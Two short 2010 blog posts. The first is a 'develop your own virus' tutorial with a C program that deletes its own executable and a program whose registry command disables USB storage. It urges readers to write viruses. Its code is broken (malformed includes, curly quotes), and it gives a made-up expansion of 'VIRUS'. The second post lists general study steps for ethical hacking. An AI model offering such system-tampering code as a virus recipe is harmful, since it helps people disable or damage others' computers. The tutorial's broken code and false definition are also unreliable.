Thursday, April 8, 2010

Developing your own VIRUS (Vital Information Resource Under Seize)

Virus is an application which runs as a system process and makes the OS behave abnormally from its normal behavior.
Virus can be coded in any programming language, Batch, Shell ,Vb Script, J script, C, C++, Perl, Delphi, Python,Haskel etc.
We will see a simple Self Destructing Virus in "C"

#include<"stdio.h">
#include
<"conio.h">
#include<"dos.h">
void main()
{
printf(“This program will destroy itself if u press any key!!!\n”);
getch();
remove(_argv[0]);/*array of pointers to command line arguments*/
}

Generate an EXE from the above program. Execution of the above program removes the EXE File.

Disabling USB Ports using a simple program

#include
<"stdio.h">

void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}

Understanding perfectly every function of an OS and a basic skill of executing System functions from a programming language, Every one can code their own Virus!!!!

Tuesday, April 6, 2010

5 Steps for Improving Skills in Network Security (Ethical hacking)

With the increase in cyber threats , many of us have interest to learn more about Hacking .. This is the most common term that is googled by most people.

Steps I suggest to improve the expertise in Ethical Hacking or Network Security :)
1) Strong Fundamentals of an Operating System like how an OS Boots, how everything works, how .exe works, .dll works, how a drive autoruns etc.
2)Detailed Understanding of Network Protocols , TCP, ICMP, FTP,HTTP,TELNET,NETBIOS etc because all these ports in one or the other way to distract a system from its routine use.
3)Reverse Engineer or dissecting an EXE File , for this you should have knowledge of ASSEMBLY Language.
4)Understanding of Programming Languages , to understand a system language or web application language. Even if you dont know the language should be in a situation to understand the program, dont think its funny without knowing the language how can you understand. Whatever be the programming language they have basic functions common like datatypes, IO, Cryptographic functions. You can apply the functions of language to the other
5) How a webapplication works, PHP is recommended since its open source, it is used as the main source for malware distribution and infection.

Follow the above steps and work with dedication everyone will be a good security analyst :) :)